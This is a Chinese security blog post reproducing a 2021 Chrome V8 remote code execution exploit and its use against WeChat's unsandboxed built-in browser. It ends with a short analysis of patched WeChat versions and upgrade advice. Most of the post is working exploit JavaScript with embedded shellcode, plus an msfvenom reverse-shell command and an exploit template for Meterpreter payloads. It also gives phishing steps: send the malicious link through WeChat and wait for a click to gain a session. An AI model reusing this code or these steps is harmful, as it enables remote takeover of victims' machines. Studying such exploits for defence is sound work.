微信(Chrome)漏洞复现与简单分析小结

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

这几天真是热闹,先爆出Chrome远程代码执行漏洞,后又爆出微信内置浏览器用的就是低版本Chrome内核,且默认关闭沙盒--no-sandbox,正好能够结合Chrome漏洞进行利用,然后就是出现的各种钓鱼复现,大家都快玩疯了(在?点个链接),不过还好谷歌微信都及时发布了更新版本。


接下来我们就一起来复现一下“Chrome + WeChat”这个组合拳漏洞,以及对微信升级后的143和151两个版本进行简单的研究分析,只写分析结果,不写具体过程,主要还是时间有限(懒)。部分漏洞描述内容摘自网络!!!


0x02 Chrome漏洞复现

1、漏洞描述

国外安全研究员发布了Chrome远程代码执行0Day漏洞的POC详情,漏洞为“严重”级别。攻击者利用此漏洞,构造一个恶意的web页面,用户访问该页面时,会造成远程代码执行。


大量采用Chrome内核的浏览器同样也会受此漏洞影响,如微软的Edge浏览器,影响版本:Chrome: <=89.0.4389.114,可通过在Chrome浏览器中输入chrome://version查看版本等信息。

微信(Chrome)漏洞复现与简单分析小结
微信(Chrome)漏洞复现与简单分析小结

2、漏洞复现

本地测试版本:89.0.4389.9,这个漏洞利用条件是必须关闭Chrome浏览器沙盒--no-sandbox,默认为开启状态,所以一般用户不会受此漏洞影响。


POC验证:

https://github.com/r4j0x00/exploits/tree/master/chrome-0day

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;
var buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);let buf2 = new ArrayBuffer(0x150);
function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);}
function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}
const _arr = new Uint32Array([2**31]);
function foo(a) { var x = 1; x = (_arr[0] ^ 0) + 1;
x = Math.abs(x); x -= 2147483647; x = Math.max(x, 0);
x -= 1; if(x==-1) x = 0;
var arr = new Array(x); arr.shift(); var cor = [1.1, 1.2, 1.3];
return [arr, cor];}
for(var i=0;i<0x3000;++i) foo(true);
var x = foo(false);var arr = x[0];var cor = x[1];
const idx = 6;arr[idx+10] = 0x4242;
function addrof(k) { arr[idx+1] = k; return ftoi(cor[0]) & 0xffffffffn;}
function fakeobj(k) { cor[0] = itof(k); return arr[idx+1];}
var float_array_map = ftoi(cor[3]);
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];var fake = fakeobj(addrof(arr2) + 0x20n);
function arbread(addr) { if (addr % 2n == 0) { addr += 1n; } arr2[1] = itof((2n << 32n) + addr - 8n); return (fake[0]);}
function arbwrite(addr, val) { if (addr % 2n == 0) { addr += 1n; } arr2[1] = itof((2n << 32n) + addr - 8n); fake[0] = itof(BigInt(val));}
function copy_shellcode(addr, shellcode) { let dataview = new DataView(buf2); let buf_addr = addrof(buf2); let backing_store_addr = buf_addr + 0x14n; arbwrite(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); }}
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];copy_shellcode(rwx_page_addr, shellcode);f();
微信(Chrome)漏洞复现与简单分析小结


上边只是单纯验证POC弹出计算器,如果想要上线到CS/MSF可以用下边这个EXP,在CS或MSF中生成一个64位的C# Payload,然后将里边的shellcode提取出来并替换到msf.html文件中即可。


EXP利用:

https://github.com/badboycxcc/script/blob/main/msf.html

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f csharp
<script>    function gc() {        for (var i = 0; i < 0x80000; ++i) {            var a = new ArrayBuffer();        }    }    let shellcode = [  ];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var main = wasmInstance.exports.main; var bf = new ArrayBuffer(8); var bfView = new DataView(bf); function fLow(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(0, true)); } function fHi(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(4, true)) } function i2f(low, hi) { bfView.setUint32(0, low, true); bfView.setUint32(4, hi, true); return bfView.getFloat64(0, true); } function f2big(f) { bfView.setFloat64(0, f, true); return bfView.getBigUint64(0, true); } function big2f(b) { bfView.setBigUint64(0, b, true); return bfView.getFloat64(0, true); } class LeakArrayBuffer extends ArrayBuffer { constructor(size) { super(size); this.slot = 0xb33f; } } function foo(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); arr.shift(); let local_arr = Array(2); local_arr[0] = 5.1;//4014666666666666 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 arr[0] = 0x1122; return [arr, local_arr, buff]; } for (var i = 0; i < 0x10000; ++i) foo(false); gc(); gc(); [corrput_arr, rwarr, corrupt_buff] = foo(true); corrput_arr[12] = 0x22444; delete corrput_arr; function setbackingStore(hi, low) { rwarr[4] = i2f(fLow(rwarr[4]), hi); rwarr[5] = i2f(low, fHi(rwarr[5])); } function leakObjLow(o) { corrupt_buff.slot = o; return (fLow(rwarr[9]) - 1); } let corrupt_view = new DataView(corrupt_buff); let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); let idx0Addr = corrupt_buffer_ptr_low - 0x10; let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; let delta = baseAddr + 0x1c - idx0Addr; if ((delta % 8) == 0) { let baseIdx = delta / 8; this.base = fLow(rwarr[baseIdx]); } else { let baseIdx = ((delta - (delta % 8)) / 8); this.base = fHi(rwarr[baseIdx]); } let wasmInsAddr = leakObjLow(wasmInstance); setbackingStore(wasmInsAddr, this.base); let code_entry = corrupt_view.getFloat64(13 * 8, true); setbackingStore(fLow(code_entry), fHi(code_entry)); for (let i = 0; i < shellcode.length; i++) { corrupt_view.setUint8(i, shellcode[i]); } main();</script>
微信(Chrome)漏洞复现与简单分析小结


接着我们再去Chrome浏览器中访问我们的http://192.168.1.2/av/msf.html恶意链接即可成功得到目标主机会话,关闭该页面会话即断开,建议在上线后执行进程迁移。

微信(Chrome)漏洞复现与简单分析小结


注:安全攻防实验室的复现文章中提到的只能在Win7/10利用,不能在Server利用可能有误,因为笔者就是在Windows Server 2008的Chrome上进行复现的。


0x03 微信RCE漏洞复现

1、漏洞描述
微信内置浏览器使用Chrome内核,且默认关闭沙盒--no-sandbox,所以可以直接利用Chrome远程代码执行漏洞,黑客只需要通过微信发送一个特制Web链接,用户一旦点击链接,微信PC Windows版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生。


可以通过微信聊天窗口使用内置浏览器直接访问以下网址来查看内置浏览器所使用的内核版本等信息。

  • https://wuchendi.gitee.io/chrome/index.html

微信(Chrome)漏洞复现与简单分析小结


2、漏洞复现

这里微信的利用方式与Chrome差不多,就不再详细写具体步骤了,只需要将以下EXP中的第5行shellcode替换为我们CS或MSF生成的32位C# Payload即可。
ENABLE_LOG = true;IN_WORKER = true;
// run calc and hang in a loopvar shellcode = [ ];
function print(data) {}
var not_optimised_out = 0;var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12;});
for (var i = 0; i < 0x10000; ++i) { target_function(i);}
var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;
function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f';}
function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); }}
function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null;
this.page_buffer = null; this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } }
this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } }); cb(true);
class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. );
// this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } }
// try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; }
class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } }
return DerivedN; })`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); }
this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); }
this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); }
this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); }
this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); }
this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this;}
function trigger() { var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);}
try{ print("start running"); trigger();}catch(e){ print(e);}

微信(Chrome)漏洞复现与简单分析小结


然后通过微信将我们精心构造的恶意链接发给对方,等待他点击该链接后即可成功得到目标主机会话。

微信(Chrome)漏洞复现与简单分析小结


注:我物理机的微信2.6是在Microsoft Store安装的,用的也是Chrome内核,并且关闭了沙盒,但是不知为什么无法复现,可能是这个版本不受Chrome漏洞影响,或者是我个人环境有问题!

微信(Chrome)漏洞复现与简单分析小结


0x04 新版微信更新什么

1、4.2.1.143
这是爆出漏洞后的第一次更新,临时关闭了微信内置浏览器,采取白名单方式进行验证,仅允许*.weixin.qq.com白名单域名通过内置浏览器打开,但是依旧没有开启沙盒,所以我们还可以通过公众号的阅读原文等方式来访问恶意链接上线CS/MSF。
微信(Chrome)漏洞复现与简单分析小结


通过对微信44和143两个版本chrome://version对比发现只是升级了CEF框架版本和加载了相关资源文件,其他并没有太大变化,主要几个相关文件如下,可以通过以下命令查看文件详细信息。

wmic datafile where Name='C:\Program Files (x86)\Tencent\WeChat\qbcore.dll' get Name,Version
WeChatWin.dll          //Windows微信版本文件qbcore.dll             //CEF版本文件,44(1320),143(1326)CefResources.data      //CEF资源文件,44(2585),143(2587)
微信(Chrome)漏洞复现与简单分析小结


2、4.2.1.151

这是爆出漏洞后的第二次更新,基本上已经完全修复了这个漏洞,升级了微信版本、暂时不用wechatweb.exe做为内置浏览器(不过文件还在,说不定还会用)、删除禁用沙盒--no-sandbox参数等,目前在线升级只能到143,151需要通过官网下载。
微信(Chrome)漏洞复现与简单分析小结


0x05 修复建议

  1. 升级Chrome浏览器为最新版本(90.0.4430.72);
  2. 升级Windows微信为最新版本(3.2.1.151);

本文始发于微信公众号(贝塔安全实验室):微信(Chrome)漏洞复现与简单分析小结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: